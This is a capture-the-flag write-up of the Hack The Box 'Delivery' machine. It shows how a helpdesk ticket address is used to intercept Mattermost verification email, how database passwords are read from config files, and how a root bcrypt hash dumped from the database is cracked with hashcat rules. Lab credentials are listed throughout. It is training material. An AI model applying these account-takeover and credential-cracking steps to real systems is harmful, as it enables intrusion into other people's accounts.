Overview

Delivery is an easy Linux machine that uses a some unique/uncommon concepts to root. It starts by having us abuse a single sign-on implementation between 2 web portals and this allows us to gain access to an internal chat group containing some sensitive information. We use that to get a shell before we eventually locate a password hash with a small twist. Let’s take a look at how I did this.


NMAP Scan

Initial (top 1000) scan:

# Nmap 7.91 scan initiated Mon Mar 15 12:24:00 2021 as: nmap -sC -sV -oA nmap/initial -vvv delivery.htb
Nmap scan report for delivery.htb (10.10.10.222)
Host is up, received reset ttl 63 (0.023s latency).
rDNS record for 10.10.10.222: delivery
Scanned at 2021-03-15 12:24:00 GMT for 9s
Not shown: 998 closed ports
Reason: 998 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq549E025Q9FR27LDR6WZRQ52ikKjKUQLmE9ndEKjB0i1qOoL+WzkvqTdqEU6fFW6AqUIdSEd7GMNSMOk66otFgSoerK6MmH5IZjy4JqMoNVPDdWfmEiagBlG3H7IZ7yAO8gcg0RRrIQjE7XTMV09GmxEUtjojoLoqudUvbUi8COHCO6baVmyjZRlXRCQ6qTKIxRZbUAo0GOY8bYmf9sMLf70w6u/xbE2EYDFH+w60ES2K906x7lyfEPe73NfAIEhHNL8DBAUfQWzQjVjYNOLqGp/WdlKA1RLAOklpIdJQ9iehsH0q6nqjeTUv47mIHUiqaM+vlkCEAN3AAQH5mB/1
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAiAKnk2lw0GxzzqMXNsPQ1bTk35WwxCa3ED5H34T1yYMiXnRlfssJwso60D34/IM8vYXH0rznR9tHvjdN7R3hY=
|   256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEV5D6eYjySqfhW4l4IF1SZkZHxIRihnY6Mn6D8mLEW7
80/tcp open  http    syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 15 12:24:09 2021 -- 1 IP address (1 host up) scanned in 9.25 seconds

Full scan:

# Nmap 7.91 scan initiated Mon Mar 15 12:33:07 2021 as: nmap -p- -oA nmap/full_port -vvv delivery.htb
Nmap scan report for delivery.htb (10.10.10.222)
Host is up, received echo-reply ttl 63 (0.022s latency).
rDNS record for 10.10.10.222: delivery
Scanned at 2021-03-15 12:33:07 GMT for 31s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
8065/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Mar 15 12:33:38 2021 -- 1 IP address (1 host up) scanned in 30.93 seconds

The higher 8065 port is actually another web port.


User Pwn

Let’s begin by outlining the different websites that are available here along with a brief description for each:

Now these can be looked into with more intent.


Websites

For the most part this is a static page with no interative elements that actually directs people to a helpdesk website. There is a button labelled “Contact Us” which also gives us some useful information:

A contact us form

The MatterMost web server is on a higher port (8065)


On the helpdesk, it is possible to register for an account by virtue of submitting a new ticket. The above image seems to suggest we should register with a @delivery.htb e-mail, and doing so creates a new ticket along with a message akin to the following message:

You may check the status of your ticket, by navigating to the Check Status page using ticket id: 6066582.

If you want to add more information to your ticket, just email 6066582@delivery.htb

If we then look to check the ticket using our chosen @delivery.htb email address and the generated ticket number, we get access to said ticket:

A contact us form

The interesting thing here is that, if you pay attention to the information given when we create our ticket, it specifically says that you can update the ticket directly by emailing a special address, in this case: 6066582@delivery.htb

This leads us onto Mattermost:


Registering on here, using just random information, shows that it requires email verification before you can proceed.

Using an actual burner email demonstrates that we dont actually get anything from the server, which makes sense since HTB machines have very limited internet access (e.g. nothing outside of GitHub), however we can leverage our helpdesk ticket address in hope that it can intercept any verification e-mails on the ticket itself. First, register on Mattermost with the following information, relevant to the helpdesk ticket generated earlier. In my case:

And then refresh the ticket in OSTicket to get the contents of the verification e-mail:

A contact us form

If you follow the URL that’s provided it will allow verification and a login to Mattermost can then be achieved.

Once logged in, the first thing shown is a team selection screen:

A contact us form

Joining the Internal team, as it’d be rude not to and it’s the only option, there’s get some interesting information along with a set of creds:

A contact us form

Attempting to use these credentials via SSH gives us a user shell and the user.txt - from here, we TargetRoot.


Root Pwn

As shell access was gained via exploitation of communication between two web portals, the first thing to check would be Mattermost/OSTicket website files for potential database information. Inside of /var/www there are files for the root webpage for delivery.htb as well as the OSTicket instance:

maildeliverer@Delivery:/var/www$ ls -la
total 16
drwxr-xr-x  4 root     root     4096 Dec 26 09:09 .
drwxr-xr-x 12 root     root     4096 Dec 26 09:08 ..
drwxr-xr-x  5 root     root     4096 Dec 28 06:52 html
drwxr-xr-x  4 www-data www-data 4096 Dec 26 09:10 osticket

Starting with digging for DB information with OSTicket:

maildeliverer@Delivery:/var/www/osticket$ grep -ril mysql .
./upload/include/i18n/en_US/help/tips/install.yaml
./upload/include/ost-sampleconfig.php
./upload/include/class.search.php
./upload/include/cli/modules/import.php
./upload/include/staff/system.inc.php
./upload/include/ost-config.php
./upload/include/class.upgrader.php
./upload/include/class.setup.php
./upload/include/class.file.php
./upload/include/class.dynamic_forms.php
./upload/include/.MANIFEST
./upload/include/class.orm.php
./upload/include/class.misc.php
./upload/include/upgrader/prereq.inc.php
./upload/include/upgrader/streams/core/9143a511-0d6099a6.patch.sql
./upload/include/upgrader/streams/core/8f99b8bf-03ff59bf.task.php
./upload/include/upgrader/streams/core/f5692e24-4323a6a8.patch.sql
./upload/include/upgrader/streams/core/8b923d61-9b5550da.patch.sql
./upload/include/mysqli.php
./upload/include/class.timezone.php
./upload/bootstrap.php

The standout file here is ./upload/include/ost-config.php - namely down to the filename, but also because there is a sample variant in this list, which indicates that this may well be an updated copy that’s being used by OSTicket. Looking at the file itself shows there are indeed some MySQL Creds:

# Mysql Login info
define('DBTYPE','mysql');
define('DBHOST','localhost');
define('DBNAME','osticket');
define('DBUSER','ost_user');
define('DBPASS','!H3lpD3sk123!');

Logging into the MySQL service with those credentials means that digging can continue:

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| osticket           |
+--------------------+

2 rows in set (0.000 sec)

MariaDB [(none)]> use osticket;
Database changed

MariaDB [osticket]> show tables where Tables_in_osticket LIKE "%user%";
+--------------------+
| Tables_in_osticket |
+--------------------+
| ost_user           |
| ost_user__cdata    |
| ost_user_account   |
| ost_user_email     |
+--------------------+

Looking at each of these user tables, there don’t appear to be any useful hashes, which sucks, so the next step is to look at Mattermost to see if that has an associated DB:

maildeliverer@Delivery:~$ find / -type d -name mattermost 2>/dev/null
/opt/mattermost
/var/lib/mysql/mattermost

There is a folder for Mattermost within MySQL’s directory structutre, which is a good sign. The file system contents are also somewhat interesting:

maildeliverer@Delivery:/opt/mattermost$ ls -la
total 288
drwxrwxr-x 12 mattermost mattermost   4096 Dec 26 09:24 .
drwxr-xr-x  3 root       root         4096 Dec 26 09:22 ..
drwxrwxr-x  2 mattermost mattermost   4096 Dec 18 08:53 bin
drwxrwxr-x  7 mattermost mattermost   4096 Dec 26 09:24 client
drwxrwxr-x  2 mattermost mattermost   4096 Dec 26 09:23 config
drwxrwxr-x  3 mattermost mattermost   4096 Mar 28 17:15 data
-rw-rw-r--  1 mattermost mattermost   2052 Dec 18 08:52 ENTERPRISE-EDITION-LICENSE.txt
drwxrwxr-x  2 mattermost mattermost   4096 Dec 18 08:52 fonts
drwxrwxr-x  2 mattermost mattermost   4096 Dec 18 08:52 i18n
drwxrwxr-x  2 mattermost mattermost   4096 Dec 26 09:23 logs
-rw-rw-r--  1 mattermost mattermost    898 Dec 18 08:52 manifest.txt
-rw-rw-r--  1 mattermost mattermost 229264 Dec 18 08:52 NOTICE.txt
drwxr--r--  5 mattermost mattermost   4096 Mar 28 17:15 plugins
drwxrwxr-x  2 mattermost mattermost   4096 Dec 18 08:53 prepackaged_plugins
-rw-rw-r--  1 mattermost mattermost   6262 Dec 18 08:52 README.md
drwxrwxr-x  2 mattermost mattermost   4096 Dec 18 08:52 templates

Inside of the config directory we have a config.json file which does contain some more MySQL credentials, albeit not in the usual PHP format:

maildeliverer@Delivery:/opt/mattermost/config$ grep -A3 mysql config.json
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],

Logging into MySQL once more with the credentials shown above, we can get a list of Username/Passwords from its Users table:

maildeliverer@Delivery:/opt/mattermost/config$ mysql -u mmuser -p -e "select Username,Password from mattermost.Users;"
Enter password:
+----------------------------------+--------------------------------------------------------------+
| Username                         | Password                                                     |
+----------------------------------+--------------------------------------------------------------+
| syskey                           | $2a$10$qE1UXoCgvfrKIVqee1BGM.2a3qPxffsYVJ3aMg6g6N11QdrWokaCu |
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
+----------------------------------+--------------------------------------------------------------+

These are, of course, hashed password values but ones that can potentially be cracked. Most users can be ommited as they seemingly have no associated password, as can the account for syskey as I created that.

N.B - Ask my team mates about me cracking hashes for passwords I’ve created…

The main hash that stands out here is the “root” hash so that’ll be the one to focus on for now.

All that said, before proceeding with Hashcat, one other consideration here comes from the Mattermost internal server we discovered earlier. As well as login information, there was also this:

root - 2:30 PM - Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!"

root - 3:58 PM - PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.

Historically, ippsec has mentioned (as part of prior videos) Hashcat rules - namely the likes of best64. These are rule sets that modify wordlists in interesting ways, to form new combinations without much manual work. In Kali these rulesets are already supplied, but in Parrot the rule files may be found here:

/usr/share/doc/hashcat/rules

With that and the following in a file that hashcat would target:

$ cat delivery.htb
root:$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO

As well as the password variant in a file named ‘password’:

$ cat password
PleaseSubscribe!

We can look to begin our cracking. One thing to note is that this particular hash is in bcrypt format which is notoriously bitchy to crack:

$ hashcat --example-hashes | grep bcrypt -A1 -B1
MODE: 3200
TYPE: bcrypt $2*$, Blowfish (Unix)
HASH: $2a$05$MBCzKhG1KhezLh.0LRa0Kuw12nLJtpHy6DIaU.JAnqJUDYspHC.Ou

Meaning our full command will be this:

$ hashcat -m 3200 delivery.htb password -r /usr/share/hashcat/rules/best64.rule --user

N.B - Hashcat’s --user flag just ensures that we don’t get a token length exception as a result of us having the username in the hash file.

After a fairly short time we get a result:

$ hashcat -m 3200 delivery.htb passwords -r /usr/share/hashcat/rules/best64.rule --user --show
root:$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21

Attempting to SSH directly to root using this password doesn’t let us connect, however using su via the deliverer user does permit that access:

maildeliverer@Delivery:/opt/mattermost/config$ su -
Password:
root@Delivery:~# ls -la
total 44
drwx------  5 root root 4096 Jan  5 06:39 .
drwxr-xr-x 18 root root 4096 Jan  5 06:06 ..
lrwxrwxrwx  1 root root    9 Dec 28 07:04 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4096 Dec 26 09:33 .cache
drwx------  3 root root 4096 Dec 27 13:41 .gnupg
-rwxr-x---  1 root root  103 Dec 26 11:26 mail.sh
-r--------  1 root root  382 Dec 28 07:02 note.txt
-rw-r-----  1 root root  148 Aug 17  2015 .profile
-rw-r-----  1 root root 1499 Dec 26 10:55 py-smtp.py
-r--------  1 root root   33 Mar 28 17:15 root.txt
drwxr-xr-x  2 root root 4096 Dec 27 14:28 .vim

And here’s the note from the author:

root@Delivery:~# cat note.txt
I hope you enjoyed this box, the attack may seem silly but it demonstrates a pretty high risk vulnerability I've seen several times.  The inspiration for the box is here:

- https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c

Keep on hacking! And please don't forget to subscribe to all the security streamers out there.

- ippsec

That said, the man is a complete legend and this box was fun to do. The foothold took me an embarassingly long time to get around but where there’s as will– there’s a relative


Credential Store

Here’s a run down of the username and passwords collected during this box:

User Password Description
maildeliverer Youve_G0t_Mail! via the Mattemost “Internal” group
ost_user !H3lpD3sk123! /var/www/osticket/upload/include/ost-config.php
mmuser Crack_The_MM_Admin_PW /opt/mattermost/config/config.json
root PleaseSubscribe!21 Hashcat via Mattermost DB User Hashes

Final Thoughts

All in all I found this to be a well crafted, very unique box that demonstrates a vulnerability that could easily be found out in the wild. It also highlights a method I’ve never seen before; using generated helpdesk email addresses to intercept correspondence from other, associated, Single Sign On services. Utter genius.

Finally, it would be remiss of me not to point this out: my HTB squad TargetRoot, namely my friend Coaran, got the root blood on this box some minutes after the user blood was taken. Please go and drop him, the team and (if you’re feeling extra nice) myself a respect hit and spread the love across this incredible community. One that, to this day, I’m proud to be part of.

-5ysk3y